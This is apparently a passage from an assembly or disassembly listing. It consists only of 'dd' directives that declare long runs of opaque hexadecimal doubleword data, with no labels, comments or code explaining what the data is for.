		dd 8300CB9Bh, 0AE507631h, 18447072h, 78FF22E2h,	5C09426Ah
		dd 80A6AF57h, 0C55EFE07h, 985D673Bh, 0D05F7071h, 6C1C8D70h
		dd 18F0FDA0h, 0FF96E3h,	0B6FE6F3Ah, 28CC3F39h, 0C1FD8C00h
		dd 0DA7166FAh, 0B077E669h, 6861602Ah, 0ACB2C5F3h, 0E66859D9h
		dd 82D4D0C5h, 60D1FCD2h, 0FC3829BAh, 8E00EC0Eh,	639A6B71h
		dd 15E5CC26h, 985FA6E1h, 0C1FEB300h, 0E08CB6D3h, 19C52C71h
		dd 3806ACADh, 0FA0573Ah, 45046C59h, 0D47C87FEh,	42EBA337h
		dd 0B51EF087h, 2B01DB7Dh, 69E0BA03h, 3EF862A4h,	65AE0F4Bh
		dd 7E600590h, 0F2FDBE22h, 67847007h, 0A620AFA3h, 0E84BF0h
		dd 250CCD26h, 9A54971Eh, 39E5213h, 50FDA307h, 0B350AAD7h
		dd 653EB2h, 5745D7EBh, 0CD6DF96Bh, 8C423600h, 67C10840h
		dd 0A40E0062h, 0B2B4D2DDh, 6954CAF5h, 0F700E198h, 4C3463EBh
		dd 3952BEACh, 390967FFh, 0CE80AA9Ah, 3462C680h,	5031F301h
		dd 0F5CAB6BAh, 0F11204Bh, 6BAB8051h, 0A06C5A29h, 12826D9Ch
		dd 10F860Ch, 0E9615F81h, 9508989Fh, 3FC22021h, 43804486h
		dd 23F77C03h, 0D002B479h, 51DDF3A9h, 0AC8A068h,	6E1A7EAh
		dd 0FDC63EB6h, 436009EBh, 0A7E3AA21h, 0D4A302FBh, 16502A39h
		dd 3A380444h, 63258113h, 671BFA44h, 0E7371980h,	9E308C49h
		dd 0AD645879h, 8363B2C0h, 5670AE90h, 0A386448Ch, 8C5023B0h
		dd 2C05709Ch, 12E8346Ch, 98F2890Ch, 8414B8A8h, 38CB9064h
		dd 64D2B6FAh, 0AB7D4422h, 9239A702h, 8464128Ch,	6F207DF4h
		dd 626794E1h, 904195C0h, 0C024C692h, 200F1353h,	8798004Ah
		dd 7721685Eh, 21C07CE8h, 3822D439h, 24A100A4h, 9AFF5607h
		dd 3B004093h, 4D3E16FCh, 28D7E846h, 21388F8Dh, 0AD889CDEh
		dd 23EC6093h, 0D9217057h, 2444B99Dh, 5622D52Eh,	0BE1D2D00h
		dd 0E4E3825Fh, 0E63B26C1h, 22DB8000h, 14506E74h, 2A265DE6h
		dd 17852866h, 0D45C637Bh, 516F240h, 0A86BB1E4h,	99C494h
		dd 7358651Fh, 21521A6h,	52EE5000h, 36F6F729h, 79C0005h
		dd 663DC391h, 0A41F013Fh, 0A900BCE0h, 0FB11230h, 993C01FCh
		dd 90AB2CE1h, 8462CD59h, 9E6BD460h, 0E5670498h,	48F670CCh
		dd 27B0645Eh, 0DD0586BDh, 22477AA1h, 72CB81FEh,	50D8866Bh
		dd 2B99296h, 45E1BC6Ah,	1461D256h, 26D0F1AAh, 0A7E71F10h
		dd 0C206B608h, 400EF21Ah, 2B15A798h, 0D85F1C0Bh, 6E82038Ch
		dd 6115A397h, 9CBB1Bh, 773C1DB2h, 8DB21h, 0C4AF545h, 0AEC78044h
		dd 7248AD73h, 1D72350h,	0B6DFA7B0h, 8841180Eh, 0A7072974h
		dd 0F09AA4F1h, 914A8E90h, 0B2B01304h, 0FAC002B4h, 0D4A3BB38h
		dd 390E312Ah, 0E778E35Dh, 0B9A0B116h, 94FC8Bh, 51C397C4h
		dd 0ABE8F4B5h, 0C8908C90h, 0BBD02491h, 302F866Bh, 0FC5601h
		dd 12554BB3h, 0FC624AEEh, 0ACFB9580h, 10CFC90h,	8C0357CAh
		dd 50A51720h, 0BB0D3198h, 1C21A800h, 6E12F14Ch,	6F5F3886h
		dd 0D5654789h, 5711109Dh, 73E86480h, 487E127Eh,	0C4E388A8h
		dd 684874E4h, 5E5C0964h, 0F67821C7h, 0A048BA3Bh, 0DAC1C046h
		dd 2925BB57h, 0B114E70Eh, 69E341ACh, 20E6F647h,	0FAB4E46Dh
		dd 0C4189AB0h, 0CD19661Bh, 0B12C01DFh, 0FEFFB739h, 0D08461E0h
		dd 20C16317h, 0AA2B9127h, 1315CEFCh, 80F656Eh, 0E4C4D3C0h
		dd 2EB6B0C1h, 80220C26h, 0A79DA000h, 0B66C147Ah, 1ADA24E5h
		dd 0BF8C4044h, 2B0064EFh, 0E8C19CC3h, 0F06C1232h, 9A440DDFh
		dd 42C168CAh, 853198BCh, 5670A8C8h, 0A42AB086h,	0BEA93E90h
		dd 0E3707980h, 0E1F57AC9h, 0BC576903h, 0B659E2EDh, 36740249h
		dd 0FD07F947h, 203BE1E1h, 273FE85Ah, 76B900A9h,	0C1540A17h
		dd 0DB680AC7h, 0C0A0BB69h, 399A2CFAh, 1522DF46h, 2C00DCEEh
		dd 43AE85F9h, 9AE14531h, 7BAC0070h, 2F02D1D5h, 2A00C899h
		dd 0C0899A86h, 7961FF39h, 1412E830h, 0A4E86D72h, 28051848h
		dd 0C21DAEC1h, 0BC6182BDh, 8AB18DCh, 0D1705622h, 2D0171CFh
		dd 3A5822D0h, 9216E420h, 352A8915h, 315101D4h, 3CE632CEh
		dd 833C20h, 90B2D708h, 1341E29Eh, 0DDE7FA0Ah, 217CC82Eh
		dd 5D806A50h, 0C9933355h, 0A73900E8h, 0BE4C111h, 0B409C24Fh
		dd 17D460CBh, 6BBB88A4h, 0C8FD3163h, 1EAD40DEh,	0CE13B791h
		dd 0C4951B3Bh, 0D9F12000h, 941C798Ch, 9053C900h, 0FD170181h
		dd 0B78A0556h, 40C896D7h, 58520294h, 0F153D77h,	69088EEh
		dd 5DE3C1EAh, 94E90079h, 1A8DAAD6h, 0FF0424ADh,	6966F652h
		dd 0BAC8588Fh, 0A7D6E0C0h, 0F781035Ch, 6EF614CCh, 0DCDB4024h
		dd 62EB215Eh, 4BA6C283h, 652E98ACh, 7470A095h, 192BE8AAh
		dd 0A17E5875h, 283251h,	0AA531B37h, 0FEC7F7h, 0D3C1B503h
		dd 0C4E7F191h, 18CDA1Dh, 0F5A6E205h, 0E7E504D2h, 615AE43Ch
		dd 71F8E070h
		dd 0D094074Dh, 3E1536h,	894BEC0Dh, 0F933BC05h, 843E6260h
		dd 1E63437Ah, 0A040D96Bh, 452D15A1h, 0F6D04C85h, 4BEB0177h
		dd 34F79E72h, 1276C080h, 3CFEDF02h, 0C00B9466h,	0D4C7C4h
		dd 0F934F049h, 0EE5F1B4Eh, 3D687D00h, 8E547AB0h, 98EEB1h
		dd 2738A33Ch, 44123FFEh, 0DB20900h, 0C842631h, 0E49900A6h
		dd 3F35901Bh, 0E20023D0h, 0C9E7FF2Eh, 0F2E866h,	0AD3BC0B5h
		dd 0D2F9F00Ch, 460BB177h, 0DE34A894h, 6928F0h, 63C9C69Fh
		dd 4D54EA69h, 6BF09B74h, 51D5A800h, 0AAF96057h,	4631871h
		dd 0B6781BAh, 0F68A0A03h, 0B006533Ch, 0FDC346h,	75CE2CADh
		dd 0D6A869BEh, 32F0DD00h, 7BB3DFFEh, 189DEE7Dh,	408F614Eh
		dd 360C35DCh, 80F84904h, 86A5008Ah, 8C9B8D4Ah, 29024C30h
		dd 0DCC8A99Dh, 0A59F4065h, 327F00DAh, 2DB63A08h, 4032BB1h
		dd 6D3EE9EFh, 0F042E9EAh, 0FC11804Eh, 0CB4F18B9h, 317B81h
		dd 396C421Dh, 70BA8E95h, 605EFB05h, 80006837h, 8D929871h
		dd 81A000B5h, 0D10507A4h, 8300420Ah, 86018A34h,	4009A9h
		dd 0B5BB6378h, 4F3AFBADh, 6C083002h, 0F27397Ah,	0D1F11700h
		dd 0D035884h, 0E0FFCDA1h, 7760E435h, 8E21E486h,	203FC7EBh
		dd 741280DAh, 8B0B1600h, 44702028h, 69A5201Ch, 0BA330C00h
		dd 0EFA9AB03h, 7E4C0181h, 777A21F3h, 0C8D3F7B0h, 0D4825C88h
		dd 62BF2302h, 48ECDFAEh, 190100h, 6BCF1353h, 6E44A385h
		dd 15C03D60h, 0B55D1Dh,	3458EDDh, 62C1374h, 9A6BFB00h
		dd 541C8577h, 0D5E21DAAh, 0D318D4F2h, 3761F000h, 2F5F2B99h
		dd 0CFEC9500h, 7BFFD910h, 3BF88Ch, 13F26EBEh, 22AD326Dh
		dd 0B8D2C503h, 0F85B5682h, 60FA49F1h, 25EA40B2h, 6539EE20h
		dd 0BCF400F7h, 0F0563560h, 4C083CCAh, 4238B300h, 0EB053E06h
		dd 0A3138601h, 0DF09F592h, 0DBA9A040h, 6BD51322h, 58A4639Dh
		dd 6E70AB90h, 0ACC0FCB1h, 78271h, 0F9685544h, 2243CB73h
		dd 0A749890Fh, 0A229E3CEh, 0D720E070h, 54EF00BDh, 0F0A9E22Eh
		dd 300F817h, 0C3A8AD1Bh, 5E341D0Dh, 0C09AF082h,	153C4500h
		dd 0D1B93D1Ch, 0C1090094h, 92724774h, 4901887Fh, 36C9FE07h
		dd 8020EB24h, 9D333A3Ch, 70210A31h, 83C231E7h, 0AE747AAEh
		dd 1B180E7Eh, 732024F9h, 372CA0B2h, 0BAA5FD00h,	0C8C7D24Ch
		dd 0BD570083h, 277FAD4Ah, 9E001615h, 7995E7AAh,	0F0ED88h
		dd 0E69338EFh, 0A7482007h, 0C09B7F00h, 1389CCDFh, 6DBE0318h
		dd 1579AB83h, 8BCCEB8h,	0D8D41900h, 43A71388h, 0E2990ABAh
		dd 58201FDCh, 58C304Ch,	6CE64A41h, 7FAC0086h, 0C0D66268h
		dd 0B359A03h, 187E0373h, 204A4408h, 0D2009B49h,	9A960193h
		dd 57A2502h, 0A5861EE5h, 0A29043AAh, 517283FEh,	533AF42Ch
		dd 503F9300h, 10A6C9h, 0AD122F1Fh, 4F9C83EDh, 0A7387860h
		dd 0B0ADFh, 0DE454BB4h,	0ABCCF2AAh, 21C0FCE8h, 0F70B3832h
		dd 44C0E5BAh, 82089225h, 353B609Fh, 50C200DEh, 0B820549Bh
		dd 0F91E9F27h, 95876384h, 0C05A9613h, 9DE77803h, 0CC0AA0BAh
		dd 51D61F1Fh, 93DB0D4Bh, 844C0B50h, 6530893Eh, 0C200B12Ah
		dd 6B79A0A5h, 2A823B74h, 718CACC0h, 0EAE1FBEh, 0C14DC296h
		dd 0CC867497h, 0E1F321A7h, 2442639h, 2460C8C0h,	102831BBh
		dd 0C8E956h, 8EAF2518h,	334F1463h, 74E7DC1Ch, 0E0BDC58Ch
		dd 0E5A70C89h, 0E96947BBh, 11B9B000h, 17D87A95h, 86A66CAh
		dd 0C9E4210Eh, 7354B901h, 4B0AF8AEh, 0DA031894h, 0C3A23E1Eh
		dd 5E72A611h, 18A1C80Eh, 138A0658h, 8E1512C0h, 3E48408Bh
		dd 0DBEC0BFh, 21FEA674h, 3F093900h, 79C828A0h, 1E72FC94h
		dd 80C214AAh, 276EEB50h, 0E8072666h, 0FD1AFFDFh, 98494750h
		dd 16F01FAh, 2EFC9012h,	2068C156h, 943CB25Ah, 0F2B680F6h
		dd 65DCD1Bh, 0D36D00BDh, 0E49F4F89h, 6300C588h,	6A85700Bh
		dd 7C862033h, 83E20794h, 0C0732E4Ah, 5C536C99h,	0E8E1900h
		dd 6663B89Eh, 86DC009Dh, 612EFE17h, 0BD0083E7h,	0B06CA953h
		dd 2A8BCh, 5904E07h, 596A6052h,	0C00FE98h, 8D9A10CAh, 1FEB5E6Dh
		dd 0D6F870h, 93667724h,	6E187A05h, 0D918A9F3h, 0D7DD0664h
		dd 0B0EE81CDh, 1F324600h, 566672D1h, 0FC080093h, 6D2EEBD6h
		dd 0AA67827Eh, 0B3250D51h, 19D89D81h, 8088C1F7h, 0D0801B71h
		dd 0A6171DFAh, 0DB01E7F4h, 0C76977FBh, 0E8FF35D7h, 52BADC61h
		dd 80EA045Eh, 0C2C4EC13h, 3E703014h, 23F8618h, 601CD500h
		dd 0CD0BF7D3h, 67B700BFh, 5313DE19h, 5406E0E8h,	0D49C6172h
		dd 0C2449028h, 181F1729h, 7D21C704h, 0FA3B119Dh, 17DDEC11h
		dd 0C942E384h, 704D1AEh, 124FF821h, 9EAF20DFh, 8C00263Dh
		dd 0ECC86693h, 7D747h, 56A6C0C4h, 0A5877330h, 0F1BB900h
		dd 0EEC9D81Dh, 647900B8h, 24F8551h, 0B90FFF5Fh,	47E9B37Ch
		dd 80AF4360h, 0CC93B2BEh, 544400BAh, 30E3E11Bh,	0D70EA70Ah
		dd 0E0EA6AD1h, 9FEB3306h, 0B2F00053h, 5C774E72h, 0D71F18EEh
		dd 3CFF67h, 81595670h, 5A8911h,	16A4D944h, 316C571Bh, 8E78A200h
		dd 10FE623h, 607F28D8h,	9BAA00BCh, 4779F933h, 93072DA4h
		dd 0E4F2F44Bh, 0A7FA08B0h, 0AEBB03F8h, 0A6DBC121h, 0A0FDCCD0h
		dd 0A3A44F00h, 7D2710E5h, 118000C6h, 0D6B52AEFh, 88C16C59h
		dd 0B48ED2C2h, 2DCCCDC9h, 182800ADh, 42C631DFh,	1005E4Bh
		dd 4EEAD110h, 26AB4Ch, 0BBBEB5AFh, 0DD52FC7Eh, 0E30E17FAh
		dd 953CD5h, 0FF14BAA8h,	91E10085h, 3106E65Ah, 47EED03h
		dd 80F0CD38h, 0B92A776Dh, 2E9101h, 1BE34D6Fh, 0C24C7825h
		dd 0F6BDCC00h, 0D28D7A72h, 0E62B1D9Ah, 0C42EC020h, 0CBA77AFh
		dd 741E7107h, 0EA00D28Ah, 16567B53h, 0A07FEFh, 8517679Ah
		dd 5B732B22h, 49D7F51Dh, 6132D040h, 583888h, 0C9D9B287h
		dd 67AEC08Bh, 60748D00h, 2CA90472h, 0A0910089h,	5466B43Fh
		dd 7000C316h, 92BF0928h, 17AC135Bh, 0D3A99Bh, 5E9A446Fh
		dd 80083A8h, 0C0F0C60Eh, 0FA7B2F18h, 0D279003Ch, 82D51647h
		dd 6B00AFEBh, 9A9D3E7Eh, 1421690Dh, 0D1B744FBh,	293CB000h
		dd 60C0A2DAh, 0A4B2D00h, 0BB136472h, 7BC1005Eh,	487DB0BEh
		dd 4900DD0Eh, 0C035A8A5h, 1D300Ch, 0FD4FE286h, 1160AD03h
		dd 3CC2458h, 89066AB0h,	0A578B15Eh, 0CE04F4h, 0B8F4AA4Eh
		dd 0DC117561h, 523FB200h, 0F20ABC6Ah, 596F0028h, 9177AA45h
		dd 0DC0A3281h, 0D431A2F1h, 0AFFDDA00h, 0C02F2133h, 0F4411C10h
		dd 4A00F632h, 0CAD54282h, 81F3DFh, 0AA78316h, 0B88C1C62h
		dd 0F0637500h, 86D51B61h, 0D87D6Dh, 7F260628h, 2775ACBCh
		dd 0B4E3B900h, 9B71C8CDh, 2F4F00AAh, 0FF1D4404h, 0AB09F790h
		dd 80BCA168h, 43972C50h, 0C3800CAh, 7E0633D1h, 0AB003B2Eh
		dd 2C1F9DFCh, 0E13EAh, 0B897CBB6h, 4893FD0h, 5A694112h
		dd 8CD88C00h, 38EBD2h, 0F3EEBBE3h, 3BE0C44Dh, 0F8C1B900h
		dd 0E5701784h, 288A76CEh, 0FA8C7445h, 15CF07CCh, 0D0BB40FCh
		dd 92B41F36h, 28D3D500h, 9E7CD8BDh, 40460071h, 563A6411h
		dd 0E9E86E8Eh, 2FFB150h, 0A5812900h, 0FB8385ACh, 74D6002Ah
		dd 62D9BE43h, 3C24142Fh, 0AB00A418h, 12801317h,	0BD7F1DCBh
		dd 0A72F40F3h, 4EBEB8B7h, 92AB3800h, 0C7185AA0h, 0E1EE0Fh
		dd 1C7550A9h, 0E7497009h, 97719600h, 39F81135h,	0FFE20026h
		dd 0EA0BB64Eh, 8C9AD8BFh, 13C5D48h, 0D181062Dh,	0F6C8FAF8h
		dd 0C907008Ah, 4853B7B5h, 2500934Fh, 0F1FBCB28h, 28C5BD4Dh
		dd 0E06E18h, 516E699h, 0D96C03C4h, 0F576B900h, 0D27AC2Bh
		dd 1BDB0F41h, 68048B8h,	0E3E44DAAh, 5E00DC77h, 0C633030Fh
		dd 90EDBBEh, 95B08FD4h,	4F05F280h, 6800EC98h, 0EAA48589h
		dd 146150h, 0B5D4C8E8h,	0FBBA0FD2h, 0F97583F8h,	1875E705h
		dd 5D809306h, 299D81h, 111035A0h, 0C999199Fh, 23E3F200h
		dd 5E7E57F6h, 6CE700FDh, 42EC3F72h, 76ECC5E2h, 0F504D00h
		dd 0C3E31CF5h, 57000FEh, 0DCDE8EE9h, 0D93B0669h, 0C6F4A854h
		dd 4474F11Fh, 0C0523540h, 6B36D3h, 534B4310h, 89D17516h
		dd 29EA6D00h, 42684098h, 0C632016Ah, 9BEEDAE4h,	0E8E9ED3Bh
		dd 842CE876h, 7C00BC1Bh, 0E32FFC11h, 0A0C90EAAh, 7B608C81h
		dd 0DC063E76h, 0A6B64200h, 5982C2BBh, 0B88A729Ch, 0C7FC8Dh
		dd 462644BFh, 0BB2D4C01h, 320A8600h, 0EAA5A469h, 44F4F0h
		dd 979C9372h, 0A31E2ECEh, 0BDB85B01h, 543358A6h, 241D1D8h
		dd 677CE821h, 80C04504h, 0EF02A827h, 0C1731A79h, 0E912E022h
		dd 45E00076h, 8A334675h, 0B60443BDh, 229BB0CAh,	0F7CB6080h
		dd 925F7FB5h, 0F2950154h, 98571FCEh, 0E8E070DEh, 7E013E00h
		dd 0BC71E6F8h, 7B47031Eh, 0D0292715h, 33B79AF8h, 31006279h
		dd 6F464D85h, 964F01h, 0B1650F2Eh, 5013CA4Bh, 335A0E00h
		dd 289D80B0h, 93A1393Eh, 0FFECC900h, 54175E32h,	0D3DB2B07h
		dd 2AC174D4h, 0D7C3B5FDh, 0C0D28031h, 28EDE883h, 5E80A714h
		dd 11005703h, 0C793D895h, 63FC9781h, 43362994h,	0C40FA4C9h
		dd 0E803AC0Dh, 0FA62BD0Eh, 0CE38D8C8h, 0B0D709B5h, 73008337h
		dd 0A6719B61h, 0B2139EE6h, 54026EA1h, 60D30239h, 0EED1E357h
		dd 1AA0018Dh, 0FDBEC4CDh, 6C806077h, 17725D00h,	91D535A3h
		dd 5FAA24BFh, 0D0190214h, 0C681DB01h, 60B03A1Eh, 590EF1BDh
		dd 40536D6Eh, 2CF6E715h, 0E0924D41h, 12FEAA00h,	97E2F493h
		dd 0A9C5DA00h, 801B3FF6h, 0E200049h, 848B6C77h,	81098FFEh
		dd 4FDF1FFh, 2CC1AF38h,	0B8D8AE7Ch, 0ABDC00F5h,	18221A11h
		dd 1B387A4Fh, 6789803Eh, 0E4C1A477h, 0E64C005Dh, 0AC9FFC21h
		dd 3A0183F5h, 0EEA8F394h, 82810F3Fh, 0DFDEDD2Dh, 4B68EC60h
		dd 2843D20Ch, 98E06Ah, 551299CDh, 2854522h, 0EEBCF603h
		dd 0D88279F8h, 0E22516C3h, 949901E1h, 41F91C2Bh, 2731F8FBh
		dd 90A19A00h, 86FCFF9Dh, 0EEA3EE03h, 0B84907Ch,	93F7092Ch
		dd 0BF6F202Eh, 6AC5CF20h, 651240B6h, 690BB8C9h,	98EF813Ch
		dd 14705E5Dh, 0DDA700D6h, 1CF7D522h, 0C303D0D9h, 0AD5BCF0Ch
		dd 0BBB7C8BAh, 9D540A95h, 0CCF1DBh, 27B33D65h, 0D17C80E0h
		dd 3E14D00h, 73A645CCh,	1E8D004Eh, 490DA194h, 8900E55Fh
		dd 0CE1F84A8h, 0BACC95h, 0F92AE951h, 1E154768h,	0D5BC5800h
		dd 95781174h, 76CC9860h, 0B7790067h, 3A738908h,	0A1003958h
		dd 22984EF7h, 26144FB9h, 0BCEAF4h, 947213Ch, 0E260CEB5h
		dd 0F871551Ah, 1FD706BDh, 0B8517E5Eh, 143E6126h, 0C88C6362h
		dd 927EBFF8h, 6B832014h, 88E25A04h, 30A0FFEFh, 0E88503B7h
		dd 4BB0ABD4h, 84845899h, 647FDC50h, 0F4FFD888h,	441B00A0h
		dd 12BB2FB2h, 5F0725CDh, 330585F3h, 9041FC43h, 3F23FE13h
		dd 6800D526h, 0C3C986AAh, 0EC304990h, 1B3550C1h, 31471B77h
		dd 0FD080F7h, 6D00D543h, 0CFA89A7h, 1C564523h, 7D9C46Ch
		dd 0F0AEB73Ch, 0FC0D66BCh, 72BAA700h, 0A81E4AF7h, 0B60600D9h
		dd 61A5C5EBh, 0FF002D92h, 4DFB5D3Eh, 99D10D3h, 6F3B622Bh
		dd 0B2543981h, 8575F806h, 8DAA7600h, 1CFF416Ah,	0B5120064h
		dd 8C5E305Ah, 0DB00CC7Ah, 6F347983h, 17EC02BCh,	20BAC105h
		dd 0BB6C2D20h, 6E7A2802h, 0C0C7314Eh, 0B05212AAh, 0DB5BA0BCh
		dd 9AFB2403h, 17410068h, 876F2272h, 0B9B52D00h,	764DACF1h
		dd 0FA9D00BFh, 80DC4CDAh, 0CB71EA7Eh, 8D746017h, 0C707A801h
		dd 8BFC941Ch, 2D51FC0h,	1384350h, 0ECB01F21h, 0E3000519h
		dd 62883D47h, 5CFE96h, 3C98AFCBh, 4A455EF7h, 150E258h
		dd 0C8E302BDh, 0EAD881FDh, 43240038h, 0F7465052h, 237862A2h
		dd 0F4CAAB00h, 0AC8725FEh, 0DD5B00CBh, 1EB5BDC9h, 0A300F7DBh
		dd 0B1937846h, 0BDA82407h, 0BDFCC600h, 0FB1F3C6Fh, 0BD6EFD0Fh
		dd 0C028840Eh, 0E769D7FFh, 835500C2h, 61DB70A2h, 0D8001B1Ah
		dd 70AB75Fh, 0E5A7E36h,	6B304152h, 8CA8C463h, 0E3B269C0h
		dd 5C32AB0Eh, 0FAE9202Bh, 704CC2Eh, 28F77A89h, 0EEB91095h
		dd 1A005765h, 0BC98E10Bh, 15054EDh, 6A09673Dh, 0DCD2332Ch
		dd 0F405E869h, 0A0F20A76h, 114ED7C0h, 0DD46008Eh, 7D62EBDFh
		dd 0F0EB7EEDh, 4A588D59h, 0BFFE7AB9h, 0BB40A426h, 51B0B300h
		dd 7891BED0h, 0E093A0EEh, 0C9EC075h, 0F6959293h, 263ED407h
		dd 0E8E30167h, 0EC24C8ADh, 95B00CEh, 0EA2B80C7h, 56009D18h
		dd 0BC41DBB6h, 70AC669h, 0C0F9E077h, 0D47EF001h, 0EA01D6D7h
		dd 0A39DE7ADh, 0F838A9CCh, 92B5EC00h, 867016DFh, 0F3A0B90Fh
		dd 49C8A298h, 0C044C8FEh, 87750BCFh, 0C680DD95h, 848E3319h
		dd 5DF5FF12h, 4FA0D400h, 77CE6B2Ah, 9A076027h, 0D38FC211h
		dd 4D00F4B0h, 7971C919h, 27010E1Eh, 1804B9FFh, 7C30A06Bh
		dd 6C0A0900h, 0C36E18C2h, 24A71EF8h, 0C8CD0037h, 13A864Bh
		dd 170095B8h, 0D20D50A5h, 665D4Ch, 0F55A3915h, 1911ADD0h
		dd 2AC16C1Dh, 0AA96841h, 58E4C616h, 0FC030095h,	0DB6D205Bh
		dd 0A51F53B3h, 0EE8F9364h, 0D5CA1ADh, 0ACC8AF36h, 0BF9C0096h
		dd 5FDDD791h, 6005DAAh,	4333CCF8h, 98404A93h, 0BBEA07A8h
		dd 2079DB73h, 130F8062h, 0EF432800h, 6382D8F5h,	80A00CAh
		dd 77DBCF20h, 0BF095F29h, 80F24CECh, 0E87C8774h, 788C9A31h
		dd 0A7A60308h, 0D2B67B29h, 22CBFFC0h, 0AA946C03h, 0D0D1381Eh
		dd 14DECE49h, 0E05459CAh, 0C4262405h, 0EBE0797h, 564D044h
		dd 0C51CFF23h, 8E80894Eh, 0FB0963D1h, 0D26F00DDh, 0EE180F4h
		dd 0AA00462Ah, 72E9BD8Fh, 1FCE9334h, 0EC713D55h, 0C4681E94h
		dd 0C14D970Bh, 80C56B9Ch, 2237DF58h, 38D37A77h,	0AA000BE5h
		dd 9B4FEF6h, 8228648Fh,	0C202E067h, 6B0C5FADh, 0E6708065h
		dd 232D6BEh, 17ED0944h,	1C40FC93h, 5E12E5C2h, 2443193Dh
		dd 811A6A89h, 108060ABh, 0E205886Bh, 624F4F1h, 0BC00202Ah
		dd 65876DF6h, 0AF3C0358h, 0BA6AF7B6h, 482C8854h, 1FF25F72h
		dd 0C27D337Ch, 0FAB70600h, 5ADF84Bh, 8F870F0Ch,	0FFE0CB1Dh
		dd 9B6D7A6Eh, 6AB00900h, 0CF4E0719h, 5DAD003Ah,	1F6F595Fh
		dd 990E6E13h, 4518432h,	1C809FA4h, 5BE8Ch, 4E24E72Eh, 383A36F2h
		dd 3F507E00h, 1CE2DFF0h, 0D09D00A0h, 461D2BFDh,	0CB13D86Ch
		dd 50007E2Ah, 2C7BB439h, 1B740013h, 43257753h, 6B90BF0Ah
		dd 90ED1903h, 0B8BC997Ch, 6C7A95h, 8C786167h, 0E2C0821Fh
		dd 0DC6A0E01h, 0ED471117h, 7E73C0EBh, 0AB6D05C5h, 0E83AB73Eh
		dd 767C000Fh, 472D583Bh, 1F2825B1h, 0EBD12000h,	8C004414h
		dd 0D9B9C272h, 84B85Fh,	0EC7FFDCAh, 0CCBD9256h,	0F11CD70Fh
		dd 0DA6740A1h, 3B363A8Ah, 0A700EE99h, 0BD7CB497h, 4F3F2F9Dh
		dd 117500C9h, 531D674Ch, 7CB06Ah, 0B989C6AEh, 1A157178h
		dd 1990D300h, 0AAE53E2Ch, 7E4007Ah, 9AC793D6h, 0C916E3AEh
		dd 0E804EA41h, 0E4C83FD3h, 0D183B5Fh, 8A386E80h, 0AB6F27F1h
		dd 5746FC00h, 5B8E34A5h, 0A4840789h, 87D46A91h,	68BE513Ch
		dd 56FF085h, 59B9AF00h,	2FA40F4Eh, 0DEC00039h, 0D9FC2E77h
		dd 60065A6h
		dd 0E6CBBE7Ch, 89F3F9h,	611E8E02h, 87A41C9Ch, 130BDB75h
		dd 87DFCEA8h, 2CA06873h, 1484449h, 0E3D34517h, 6016C81Eh
		dd 0A406830Eh, 695C1537h, 403C0128h, 0B6F1509Fh, 72DBFC98h
		dd 575EC00h, 929A674Dh,	0A8FAEFh, 5FDA15C1h, 329359E9h
		dd 0ED279600h, 0F91C85CFh, 0D4C600FDh, 0F38B6E53h, 0AE0EB43Bh
		dd 0AE552BD9h, 0B180E05Eh, 7DA4F4h, 0D4BC569h, 499EDA94h
		dd 182A6C00h, 0BD368B91h, 0D7D10E53h, 409F6522h, 0F5C1AA9h
		dd 6E00A440h, 0C2B42BF8h, 25AB38h, 0D60B3455h, 28DC7A8Eh
		dd 23ED6600h, 0E750AEAAh, 0B471009Eh, 7849F46Eh, 700EE9Fh
		dd 36152801h, 433A60h, 0B69AEF04h, 8AC639FFh, 5070E71h
		dd 0FE0F587Eh, 8EA2FBD0h, 0DFE4007Bh, 11E813B3h, 63A9DB4h
		dd 8199E13Ch, 30808F35h, 71520919h, 8CE0E86h, 80DD8185h
		dd 21BB8EDAh, 0FF120580h, 4D76435Ah, 3C008F74h,	0A5BDAC45h
		dd 73FD9D89h, 0DA250022h, 0DF0595D9h, 4D798B32h, 7F4C6F17h
		dd 8F3B6001h, 988EB5F3h, 0B198C52Eh, 78C09A57h,	363FE031h
		dd 0B7930097h, 0A4824210h, 530719FDh, 0DAAA8066h, 0CB439950h
		dd 0DE30FF14h, 9148CC28h, 0DC1D5040h, 7C401162h, 642FFFEDh
		dd 0CC260003h, 1AFBB648h, 9E00134Fh, 0E6FC1B92h, 1EC80Ah
		dd 0A093C4E0h, 0E967B337h, 0F599FB00h, 8FF8A4E8h, 770D0061h
		dd 87E1A654h, 0D200FDA1h, 0CBDAE7B8h, 0D0A36ECFh, 0FE2BA8A0h
		dd 0D0ED004h, 0B9101B67h, 358BE960h, 0FA6500A8h, 7D5D46B3h
		dd 811FFEB2h, 0D7002B43h, 5B72D9F1h, 0FF5C007Ah, 0A7FBE437h
		dd 0BA0C7E91h, 99AE03EEh, 367B0DF2h, 0D05076DDh, 808BB8D9h
		dd 0C12A0F17h, 0A9B51481h, 3294411Bh, 17E860D6h, 2B6A1A00h
		dd 565299DFh, 0AEE71D08h, 0F9E5D9A6h, 6918DFB4h, 0DBC14F0Eh
		dd 0EE2130DAh, 35395119h, 0F56D660Fh, 5A0D22B2h, 3370900Fh
		dd 2458727Dh, 3E0C7834h, 27436703h, 0E82213C5h,	0BDB21F2Bh
		dd 7BA10077h, 1711A6DDh, 58890876h, 0A255D2FCh,	284C10A8h
		dd 8E320E18h, 51A4FBA8h, 6D8088FAh, 5221D73Eh, 96690394h
		dd 6F8DFD2h, 0CE902EA8h, 3407387Fh, 0AFCF52DEh,	83FD51C0h
		dd 2FA74403h, 94DB2000h, 8EDE152Eh, 0DF453A26h,	0E921C030h
		dd 0F402D407h, 0F09CD97h, 39ED4010h, 31FE058Fh,	10DDA1DEh
		dd 0C1B82CB4h, 0AB81078Ch, 0C033B801h, 3B402FD6h, 561E8418h
		dd 17C55B8h, 5BEBFE0Eh,	241558F8h, 90007938h, 0C7510268h
		dd 66990E43h, 210D08CFh, 68CC5A00h, 0E0397609h,	651F0F9Dh
		dd 29A1CE3Dh, 24A7FAAEh, 5D0919DCh, 718A0D2h, 0D2AF5628h
		dd 0CF82504Eh, 295BCC15h, 0BA5A263Ch, 716A0130h, 98E2D37Eh
		dd 0CF218708h, 0BE7A0Ah, 0FF54F6B9h, 0FB504789h, 0A3143Eh
		dd 8BEC903Ch, 1F4BAD9Ah, 41CAA85Ah, 0A7794755h,	0F6E091FBh
		dd 8510193h, 53429751h,	0B9738170h, 0F568CA00h,	0CE41BBE4h
		dd 0B72E2AAAh, 0C5481EACh, 89B0350h, 0E0BF47E9h, 57CBE5D2h
		dd 87071572h, 0F859492h, 48B62F81h, 0CF65F080h,	9BC94C52h
		dd 42701E00h, 60D5A208h, 84FD009Fh, 5B78A7CEh, 9C71164Fh
